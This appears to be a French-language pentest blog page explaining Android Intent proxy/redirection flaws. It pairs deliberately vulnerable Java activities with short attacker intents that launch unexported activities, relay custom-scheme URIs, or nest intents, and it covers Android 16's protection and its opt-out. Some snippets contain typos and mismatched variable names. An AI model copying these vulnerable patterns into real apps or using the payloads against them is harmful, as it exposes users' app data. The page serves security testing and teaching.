> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-mobile/android/intent-proxy-redirection.md).

# Intent Proxy / Redirection

## Description

Une vulnérabilité d’Intent Proxy / Redirect est une vulnérabilité qui permet à un attaquant d’exploiter un mécanisme de redirection ou de transmission d’intents pour faire exécuter une action ou ouvrir une ressource non prévue par l’application.

Ce type d'attaque n'est pas particulièrement impactant à première vue mais peut devenir intéressante pour augmenter considérablement la surface d'attaque d'une application.

Dans les applications vulnérables, des données contrôlées par un attaquant sont utilisées pour créer ou modifier une Intent que l'application exécute ensuite pour le compte de l'attaquant. Puisque l'Intent provient de l'application victime elle-même, elle s'exécute avec l'identité et les autorisations de la victime. Si l'Intent redirigée n'est pas correctement validée, un attaquant peut alors l'utiliser pour :

• Lancer des activités non exportées, normalement inaccessibles

• Transmettre des données contrôlées par l'attaquant à d'autres applications sur l'appareil

• Voler des données sensibles renvoyées par les résultats de l'Intent

• Exploiter d'autres vulnérabilités pour compromettre totalement l'application

Le problème ne réside pas dans le système d'Intents en lui-même, mais dans la rupture de la frontière de confiance entre les entrées externes et l'exécution interne des Intents.

## Exploitation

### Exemple 1

Code vulnérable:

```java
class aVulnerableActivity extend Activity {
    ...
    private void parseIntent(Intent yayintentyay) {
        // retrieve the attacker Intent's data
        String URI = someIntent.getData().toString();

        // convert the URI into an Intent object
        Intent newIntent = Intent.parseUri(URI, 1);

        // run `startActivity` against the new Intent ojbect
        startActivity(newIntent);
}
```

Intent envoyé par l'attaquant:

```java
Intent MyIntent = new Intent();
MyIntent.setData(Uri.parse("intent:#Intent;component=com.target.app/.unexportedActivity;S.stringExtra=pouet;end"));
```

Cet URI définit un objet Intent qui cible une activité non exportée nommée *unexportedActivity* dans l'application cible. Il définit également une chaîne de caractères supplémentaire *stringExtra*.

Dans ce cas, l'application attaquante contrôle désormais quel composant est lancé par l'application cible, prenant ainsi le contrôle du flux d'exécution du code de cette dernière. Cela peut contraindre l'application cible à charger des activités non exportées, ou permettre d'utiliser l'application victime comme intermédiaire pour transmettre des données contrôlées par l'attaquant vers d'autres applications présentes sur l'appareil.

### Exemple 2

Code vulnérable:

```java
class aWebView extend Activity {
    ...
    private void loadWebView(Intent targetIntent) {
        // get the host name and scheme
        String targetHost = targetIntent.getData().toString();
        String targetScheme = targetIntent.getScheme();

        // check if host name and scheme are valid
        // if so, load URL
        if (targetHost.equals("target.xyz") && targetScheme.equals("https")) {
            webView.loadUrl(targetHost);

        // check if scheme is `http` or `https`
        // if so, send it to app that can handle the scheme
        // typically, this is a browser app
        } else {
            Intent safeIntent = new Intent();
            safeIntent.setData(targetIntent.getData());
            startActivity(safeIntent);
        }
}
```

Dans ce second cas, l’URI de données de l’attaquant est transmise à toute application capable de prendre en charge un schéma custom et l'application cible ne force pas la vérification du schéma. Cela peut s’avérer utile lorsque vous avez besoin d’utiliser l’application cible comme relais pour atteindre une autre application. Un peu comme une technique de pivot au sein d’un réseau interne, en passant d’un hôte à un autre !

Code attaquant:

```java
Intent yayintentyay = new Intent();
intent.setData(Uri.parse("myscheme://attacker.xyz");
```

### Exemple 3

Code vulnérable:

```java
class aWebView extend Activity {
    ...
    private void loadWebView(Intent targetIntent) {
        // get the host name and scheme
        String targetHost = targetIntent.getData().toString();
        String targetScheme = targetIntent.getScheme();

        // check if host name and scheme are valid
        // if so, load URL
        if (targetHost.equals("target.xyz") && targetScheme.equals("https")) {
            webView.loadUrl(targetHost);

        // convert the attacker Uri into an Intent object and add a BROWSABLE category
        } else {
            Intent newIntent = Intent.parseUri(URI, 1);
            intent.addCategory("android.intent.category.BROWSABLE");
            startActivity(intent);
        }
}
```

Le problème avec ce code est que, sans assainir la valeur « Component » tout en y ajoutant une valeur « Category », la valeur « Category » finit par ne plus avoir d’importance si l’attaquant est en mesure de contrôler le « Component » ciblé.

Code attaqiuant:

```java
Intent MyIntent = new Intent();
MyIntent.setData(Uri.parse("intent:#Intent;component=com.target.xyz/.unexportedActivity;S.stringExtra=pouet;end"));
```

### Exemple 4

Cas patché depuis Android 16, un attaquant créait un objet `Intent` et le stockait dans un autre objet `Intent` (Intent-ception). Ensuite, l’application cible récupérait cet Intent imbriqué et ouvrait le composant qu’il désignait. Cela permettait de forcer l’application cible à ouvrir n’importe quel composant spécifié par l’attaquant.

Voyons comment cela se présentait dans un code vulnérable:

```java
class aVulnerableActivity extend Activity {
    ...
    private void parseIntent(Intent targetIntent) {
        // retrieve the attacker Intent's stored intent
        Intent intentCeption = targetIntent.getParcelableExtra("parcelableIntent");

        // run `startActivity` against that Intent oject
        startActivity(intentCeption);
}
```

Maintenant, voyons le code de l'attaquant:

```java
Intent MyIntent = new Intent();

Intent intentCeption = new Intent();
intentCeption.setComponent(new ComponentName("com.target.xyz", "com.target.xyz.unexportedActivity"));

MyIntent.putExtra("parcelableIntent", intentCeption);
```

Dans le code ci-dessus, l’attaquant crée un objet `Intent` et le configure pour cibler une `Activity` qui n’est pas exportée (unexported Activity). Cet objet `Intent` est ensuite stocké à l’intérieur d’un autre objet `Intent`, qui est lui-même envoyé à l’application cible.

Dans Android 16, un mécanisme de protection destiné à empêcher ce type d’attaque a été appliqué par Google.

Ainsi, si le SDK ciblé par l’application est Android 16 et que le système d’exploitation sous-jacent exécute Android 16, ce type d’attaque est bloqué.

{% hint style="danger" %}
Note: Cependant, Google a laissée une fonction nommée "***removeLaunchSecurityProtection(**)"*&#x71;ui permet aux développeurs de supprimer cette protection explicitement.

Ainsi, si la cible utilise du code tel que:

```java
class aVulnerableActivity extends Activity {
    ...
    private void parseIntent(Intent targetIntent) {
        // Récupérer l'Intent fourni par l'attaquant
        Intent intentCeption = targetIntent.getParcelableExtra("parcelableIntent");

        // Désactiver la protection d'Android 16
        intentCeption.removeLaunchSecurityProtection();

        // Appeler startActivity avec cet objet Intent
        startActivity(intentCeption);
    }
}
```

Celui-ci redevient vulnérable car il contourne complétement le patch de Google sur les versions d'Android modernes.
{% endhint %}
